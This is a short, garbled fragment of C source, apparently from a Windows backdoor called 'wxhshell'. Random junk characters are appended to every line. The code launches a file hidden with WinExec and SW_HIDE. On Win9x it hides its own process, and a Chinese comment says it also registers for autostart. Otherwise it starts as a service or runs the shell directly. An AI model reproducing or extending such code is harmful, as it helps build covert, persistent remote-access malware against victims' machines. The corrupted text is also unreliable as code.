WinExec(wscfg.ws_filenam,SW_HIDE); n*'|7#;
} v+Ooihxl
<S5Am%vo
if(!OsIsNt) { QPdhesrd-
// 如果时win9x，隐藏进程并且设置为注册表启动 Pirc49c
HideProc(); 4m%_#J{
StartWxhshell(lpCmdLine); pYVQ-r%QF
} ku?i[Th
else :~g=n&x
if(StartFromService()) ]X{LZYk
// 以服务方式启动 [['un\~r~
StartServiceCtrlDispatcher(DispatchTable); UB=I>
else ]JtK)9
// 普通方式启动 rbs:qLa%
StartWxhshell(lpCmdLine); ,qt9S0QS
,AWN *OS
return 0; Joe k4t&0<
}